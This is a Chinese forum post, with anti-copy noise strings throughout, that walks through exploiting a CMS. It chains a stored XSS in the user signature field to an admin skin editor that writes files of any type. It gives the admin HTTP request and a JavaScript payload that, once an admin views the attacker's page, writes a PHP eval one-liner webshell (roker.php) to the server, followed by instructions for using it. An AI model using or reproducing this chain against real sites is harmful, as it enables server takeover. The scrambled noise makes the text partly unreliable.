|
|
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
7 p! J% b8 X9 ~* j# Q- N. z# b官网已经修补了,所以重新下了源码( X6 f+ U J% n* O' k
因为 后台登入 还需要认证码 所以 注入就没看了。
, G- v) I3 C& g! t; Y% |7 s存在 xss
3 b# C9 m9 U+ T, M& D E漏洞文件 user/member/skin_edit.php
; ]" S" Z/ D9 j' Q' J本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
0 X5 L: V% u% |5 D$ c3 d
2 P4 o* G, g' O" N</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>, o, l) x% J. S2 k! b
# ?( `5 M4 h7 x* t' {</textarea></td></tr>
5 X/ w+ ?3 Q$ u& G$ ?$ b
. i1 l0 P9 c. U' |! P user/do.php . `" w( P' @$ Q7 H9 e* H
9 a4 G! w, C6 [: M/ _
. N9 e& ]. }% {, D5 m" s" ~
if($op=='zl'){ //资料
% |* U' _2 A3 F3 ^$ |' l& E ( `; f8 E8 I. v/ w
if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email))
( q0 W& B0 S; [: a6 ?+ E3 t exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
5 @* L2 s% m# Z5 i0 J+ Q 6 r; }9 j3 c' @" H2 T
$sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
2 R2 Q) k c; l/ S2 V# c) g , k( W- B% D3 o6 [ ^4 X! v$ r! l& K O
CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'! K' o' L7 |4 \ j
where CS_Name='".$cscms_name."'"; F# t) I9 r- p9 V4 L
* F6 k+ A2 V' D* {8 _+ S0 T1 Q if($db->query($sql)){
2 Z2 i% @1 X) c8 U6 d ) j' a7 U- F/ Z% }
exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));' Q" |! o J' r+ G( `' d
6 @8 u0 y* w) X3 B, A5 d. y: w
}else{
( F( D/ c! h2 V4 R% l3 Y
s+ ?2 i8 E P) |9 H exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
3 U# @* r$ h, D) l9 t( }5 F0 o: ]" S . z6 ^6 {9 A' G6 u5 E& H K% {
}$ \9 W+ _8 R+ a. ~% f) i/ ^ Z$ L& }" A" e
7 N2 k J+ l( S4 G6 m* r0 z( ]! o4 @$ ] f* K- \! j! Y% Q
没有 过滤导致xss产生。
% P+ S b. F. Q( D8 ^5 _( v8 N后台 看了下 很奇葩的是可以写任意格式文件。。
" r$ y$ u7 D' W抓包。。& W% p2 p) {. l& D% R
4 Y) b9 N" X8 \; J' @* S$ x% f
7 ?6 r3 K3 |1 I- t0 ]( |
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.1
2 @: F& a. Z* o& ]
$ R+ g9 i4 U; vAccept: text/html, application/xhtml+xml, */*5 s0 `1 K0 S( ? M
/ d4 S) R$ X4 @3 W, M9 v" s
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php8 g$ S6 i$ o c" T; c
% ]! [5 V. f9 U
Accept-Language: zh-CN5 y9 ~2 L! N4 B1 r+ P6 ^) D
7 k8 R1 ]) a2 nUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
% |3 z" c1 u9 V 5 `$ \6 n) x% P4 A( U K
Content-Type: application/x-www-form-urlencoded: u' u# y, Y4 V* b+ X
0 q& g' a i5 x5 K2 vAccept-Encoding: gzip, deflate
5 z( o" u$ e& C8 ~9 B( d ; ^0 ?8 ]$ f1 [7 l
Host: 127.0.0.1% b' R# n0 ^3 ~' _
" S7 a3 a; S& L6 L; b
Content-Length: 38
, x/ U2 c; i' o z2 W/ Q$ E % }2 m+ m8 N; E# O7 U, N1 p
DNT: 1
6 T8 c- m6 R" J% y2 A N6 g
* L$ b# {0 n* s" kConnection: Keep-Alive$ W% j! ^; X) _2 [3 p) f7 _0 C
% v+ j2 i: M) k! p/ \0 M7 N- Q
Cache-Control: no-cache
& v9 p8 x7 C' r/ {" K / L' }/ ^2 p v1 |+ E3 E I
Cookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
+ d x% R% m! g7 I. L) k' M& ]
" ]' L. a" U' v- d
9 ~0 x8 P0 E, L5 K2 g, Zname=aaa.php&content=%3Cs%3E%3Ca%25%3E
# e0 H6 S8 A( P P% d' C3 |2 z g7 |/ Q+ G+ b, X
7 @5 A2 `! F; _
4 s5 v& P3 U" d$ P. j- z5 r于是 构造js如下。
4 v. O) D2 V2 f, b2 z0 o3 {+ C! R% B* I% k- Y
本帖隐藏的内容<script> + U+ n' ]; ?# V# O5 Z; ^: P
thisTHost = top.location.hostname;
3 l0 K$ [1 S+ O4 v: ^8 \6 ?
8 g' L; [6 T- a3 e8 q* LthisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";
* l, E7 R" V- @ + d9 ?& W' I! o, c* y( U _ h/ n8 g
function PostSubmit(url, data, msg) { ' D! O( q3 g% d2 m, O7 \3 g
var postUrl = url;& i5 k: s* ]$ U# I
: \' J" I9 }* T# n1 D0 M
var postData = data;
/ ?/ F- X i7 R& v& w& o T var msgData = msg;
2 i6 u+ i3 V* X' B8 x6 _9 d var ExportForm = document.createElement("FORM"); 7 e( B: L! y7 p/ B& C( ]
document.body.appendChild(ExportForm); , B! N! s- |+ ]9 M1 O
ExportForm.method = "POST";
" k% [, E' t# L5 C var newElement = document.createElement("input"); ' U0 o# S) G+ E U0 G8 a" f
newElement.setAttribute("name", "name");
: }% _! e6 w% i1 T( [* W newElement.setAttribute("type", "hidden"); 6 ^7 g" u# T' x; I1 g) L- n# n
var newElement2 = document.createElement("input"); / i% I/ E" g# O% |: }
newElement2.setAttribute("name", "content");
' H. ^4 E/ c8 n0 ^9 W7 V9 w% v; h newElement2.setAttribute("type", "hidden");
4 ^+ [! u& X7 `: q- ? ExportForm.appendChild(newElement);
) }' D3 X! ?& i- w5 F ExportForm.appendChild(newElement2);
% W, Q. [1 ~ W2 l newElement.value = postData; 3 I/ o9 R2 Z* E, M
newElement2.value = msgData;
. D S8 p- a/ C$ }0 g. {2 f6 z( o ExportForm.action = postUrl;
/ b& n: O2 M* T2 D; `& C( v! l" [6 i! w ExportForm.submit(); + @. H+ K5 B" W! G% M: D- Z) Q
};1 i* f- R% w2 ?0 I
8 ]% Q( }( i0 X
PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");
+ j# ]# e/ t8 w! W* }) y
+ R& f, ^/ o1 P</script>
- y9 O! L8 P. y" C5 x# r- \8 D- ]
, x9 z5 a6 D5 \3 }- M" ?' b1 a. |# x) V" {+ B9 d
( ]- w# N8 ? T9 ahttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入
; `$ P. J6 W8 P( T5 K/ ^- A用你的账号给管理写个 私信 或者让他访问 你的主页http://127.0.0.1/home/?uid=2(uid自己改)
/ x" q' |, }" _" n& y6 [+ p就会 在 skins\index\html\目录下生成 roker.php 一句话。 | % s/ f/ P6 S' c# V2 \# x3 P
|
|